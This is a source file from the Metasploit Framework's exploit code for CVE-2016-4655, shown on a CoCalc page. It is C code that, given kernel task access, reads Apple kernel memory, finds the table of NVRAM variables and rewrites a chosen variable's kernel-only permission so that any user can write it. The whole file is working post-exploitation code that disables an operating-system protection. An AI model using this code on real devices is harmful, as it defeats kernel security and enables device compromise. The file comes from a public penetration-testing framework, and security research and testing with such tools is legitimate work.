CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4655/nvpatch.m
Views: 11779
1
/*
2
* nvpatch.m - Patch kernel to unrestrict NVRAM variables
3
* Taken and modified from kern-utils
4
*
5
* Copyright (c) 2014 Samuel Groß
6
* Copyright (c) 2016 Pupyshev Nikita
7
* Copyright (c) 2017 Siguza
8
*/
9
10
#include <errno.h> // errno
11
#include <stdio.h> // fprintf, stderr
12
#include <stdlib.h> // free, malloc
13
#include <string.h> // memmem, strcmp, strnlen
14
15
#include "arch.h" // ADDR, MACH_*, mach_*
16
#include "mach-o.h" // CMD_ITERATE
17
18
#include "nvpatch.h"
19
20
#define STRING_SEG "__TEXT"
21
#define STRING_SEC "__cstring"
22
#define OFVAR_SEG "__DATA"
23
#define OFVAR_SEC "__data"
24
25
enum
26
{
27
kOFVarTypeBoolean = 1,
28
kOFVarTypeNumber,
29
kOFVarTypeString,
30
kOFVarTypeData,
31
};
32
33
enum
34
{
35
kOFVarPermRootOnly = 0,
36
kOFVarPermUserRead,
37
kOFVarPermUserWrite,
38
kOFVarPermKernelOnly,
39
};
40
41
typedef struct
42
{
43
vm_address_t name;
44
uint32_t type;
45
uint32_t perm;
46
int32_t offset;
47
} OFVar;
48
49
#define MAX_CHUNK_SIZE 0xFFF /* MIG limitation */
50
51
static vm_size_t kernel_read(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)
52
{
53
kern_return_t ret;
54
vm_size_t remainder = size,
55
bytes_read = 0;
56
57
// The vm_* APIs are part of the mach_vm subsystem, which is a MIG thing
58
// and therefore has a hard limit of 0x1000 bytes that it accepts. Due to
59
// this, we have to do both reading and writing in chunks smaller than that.
60
for(vm_address_t end = addr + size; addr < end; remainder -= size)
61
{
62
size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;
63
ret = vm_read_overwrite(kernel_task, addr, size, (vm_address_t)&((char*)buf)[bytes_read], &size);
64
if(ret != KERN_SUCCESS || size == 0)
65
{
66
LOG("vm_read error: %s", mach_error_string(ret));
67
break;
68
}
69
bytes_read += size;
70
addr += size;
71
}
72
73
return bytes_read;
74
}
75
76
static vm_size_t kernel_write(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)
77
{
78
kern_return_t ret;
79
vm_size_t remainder = size,
80
bytes_written = 0;
81
82
for(vm_address_t end = addr + size; addr < end; remainder -= size)
83
{
84
size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;
85
ret = vm_write(kernel_task, addr, (vm_offset_t)&((char*)buf)[bytes_written], (mach_msg_type_number_t)size);
86
if(ret != KERN_SUCCESS)
87
{
88
LOG("vm_write error: %s", mach_error_string(ret));
89
break;
90
}
91
bytes_written += size;
92
addr += size;
93
}
94
95
return bytes_written;
96
}
97
98
int nvpatch(task_t kernel_task, vm_address_t kbase, const char *target)
99
{
100
mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
101
if(hdr == NULL)
102
{
103
LOG("Failed to allocate header buffer (%s)", strerror(errno));
104
return -1;
105
}
106
memset(hdr, 0, MAX_HEADER_SIZE);
107
108
LOG("Reading kernel header...");
109
if(kernel_read(kernel_task, kbase, MAX_HEADER_SIZE, hdr) != MAX_HEADER_SIZE)
110
{
111
LOG("Kernel I/O error");
112
return -1;
113
}
114
115
segment_t
116
cstring =
117
{
118
.addr = 0,
119
.len = 0,
120
.buf = NULL,
121
},
122
data =
123
{
124
.addr = 0,
125
.len = 0,
126
.buf = NULL,
127
};
128
CMD_ITERATE(hdr, cmd)
129
{
130
switch(cmd->cmd)
131
{
132
case MACH_LC_SEGMENT:
133
{
134
mach_seg_t *seg = (mach_seg_t*)cmd;
135
mach_sec_t *sec = (mach_sec_t*)(seg + 1);
136
for(size_t i = 0; i < seg->nsects; ++i)
137
{
138
if(strcmp(sec[i].segname, STRING_SEG) == 0 && strcmp(sec[i].sectname, STRING_SEC) == 0)
139
{
140
LOG("Found " STRING_SEG "." STRING_SEC " section at " ADDR, (vm_address_t)sec[i].addr);
141
cstring.addr = sec[i].addr;
142
cstring.len = sec[i].size;
143
cstring.buf = malloc(cstring.len);
144
if(cstring.buf == NULL)
145
{
146
LOG("Failed to allocate section buffer (%s)", strerror(errno));
147
return -1;
148
}
149
if(kernel_read(kernel_task, cstring.addr, cstring.len, cstring.buf) != cstring.len)
150
{
151
LOG("Kernel I/O error");
152
return -1;
153
}
154
}
155
else if(strcmp(sec[i].segname, OFVAR_SEG) == 0 && strcmp(sec[i].sectname, OFVAR_SEC) == 0)
156
{
157
LOG("Found " OFVAR_SEG "." OFVAR_SEC " section at " ADDR, (vm_address_t)sec[i].addr);
158
data.addr = sec[i].addr;
159
data.len = sec[i].size;
160
data.buf = malloc(data.len);
161
if(data.buf == NULL)
162
{
163
LOG("Failed to allocate section buffer (%s)", strerror(errno));
164
return -1;
165
}
166
if(kernel_read(kernel_task, data.addr, data.len, data.buf) != data.len)
167
{
168
LOG("Kernel I/O error");
169
return -1;
170
}
171
}
172
}
173
}
174
break;
175
}
176
}
177
if(cstring.buf == NULL)
178
{
179
LOG("Failed to find " STRING_SEG "." STRING_SEC " section");
180
return -1;
181
}
182
if(data.buf == NULL)
183
{
184
LOG("Failed to find " OFVAR_SEG "." OFVAR_SEC " section");
185
return -1;
186
}
187
188
// This is the name of the first NVRAM variable
189
char first[] = "little-endian?";
190
char *str = memmem(cstring.buf, cstring.len, first, sizeof(first));
191
if(str == NULL)
192
{
193
LOG("Failed to find string \"%s\"", first);
194
return -1;
195
}
196
vm_address_t str_addr = (str - cstring.buf) + cstring.addr;
197
LOG("Found string \"%s\" at " ADDR, first, str_addr);
198
199
// Now let's find a reference to it
200
OFVar *gOFVars = NULL;
201
for(vm_address_t *ptr = (vm_address_t*)data.buf, *end = (vm_address_t*)&data.buf[data.len]; ptr < end; ++ptr)
202
{
203
if(*ptr == str_addr)
204
{
205
gOFVars = (OFVar*)ptr;
206
break;
207
}
208
}
209
if(gOFVars == NULL)
210
{
211
LOG("Failed to find gOFVariables");
212
return -1;
213
}
214
vm_address_t gOFAddr = ((char*)gOFVars - data.buf) + data.addr;
215
LOG("Found gOFVariables at " ADDR, gOFAddr);
216
217
// Sanity checks
218
size_t numvars = 0,
219
longest_name = 0;
220
for(OFVar *var = gOFVars; (char*)var < &data.buf[data.len]; ++var)
221
{
222
if(var->name == 0) // End marker
223
{
224
break;
225
}
226
if(var->name < cstring.addr || var->name >= cstring.addr + cstring.len)
227
{
228
LOG("gOFVariables[%lu].name is out of bounds", numvars);
229
return -1;
230
}
231
char *name = &cstring.buf[var->name - cstring.addr];
232
size_t maxlen = cstring.len - (name - cstring.buf),
233
namelen = strnlen(name, maxlen);
234
if(namelen == maxlen)
235
{
236
LOG("gOFVariables[%lu].name exceeds __cstring size", numvars);
237
return -1;
238
}
239
for(size_t i = 0; i < namelen; ++i)
240
{
241
if(name[i] < 0x20 || name[i] >= 0x7f)
242
{
243
LOG("gOFVariables[%lu].name contains non-printable character: 0x%02x", numvars, name[i]);
244
return -1;
245
}
246
}
247
longest_name = namelen > longest_name ? namelen : longest_name;
248
switch(var->type)
249
{
250
case kOFVarTypeBoolean:
251
case kOFVarTypeNumber:
252
case kOFVarTypeString:
253
case kOFVarTypeData:
254
break;
255
default:
256
LOG("gOFVariables[%lu] has unknown type: 0x%x", numvars, var->type);
257
return -1;
258
}
259
switch(var->perm)
260
{
261
case kOFVarPermRootOnly:
262
case kOFVarPermUserRead:
263
case kOFVarPermUserWrite:
264
case kOFVarPermKernelOnly:
265
break;
266
default:
267
LOG("gOFVariables[%lu] has unknown permissions: 0x%x", numvars, var->perm);
268
return -1;
269
}
270
++numvars;
271
}
272
if(numvars < 1)
273
{
274
LOG("gOFVariables contains zero entries");
275
return -1;
276
}
277
278
for(size_t i = 0; i < numvars; ++i)
279
{
280
char *name = &cstring.buf[gOFVars[i].name - cstring.addr];
281
if(strcmp(name, target) == 0)
282
{
283
if(gOFVars[i].perm != kOFVarPermKernelOnly)
284
{
285
LOG("Variable \"%s\" is already writable for %s", target, gOFVars[i].perm == kOFVarPermUserWrite ? "everyone" : "root");
286
goto done;
287
}
288
vm_size_t off = ((char*)&gOFVars[i].perm) - data.buf;
289
uint32_t newperm = kOFVarPermUserWrite; // was kOFVarPermRootOnly
290
if(kernel_write(kernel_task, data.addr + off, sizeof(newperm), &newperm) != sizeof(newperm))
291
{
292
LOG("Kernel I/O error");
293
return -1;
294
}
295
LOG("Successfully patched permissions for variable \"%s\"", target);
296
goto done;
297
}
298
}
299
LOG("Failed to find variable \"%s\"", target);
300
return -1;
301
302
done:;
303
304
free(cstring.buf);
305
free(data.buf);
306
free(hdr);
307
308
return 0;
309
}
310
311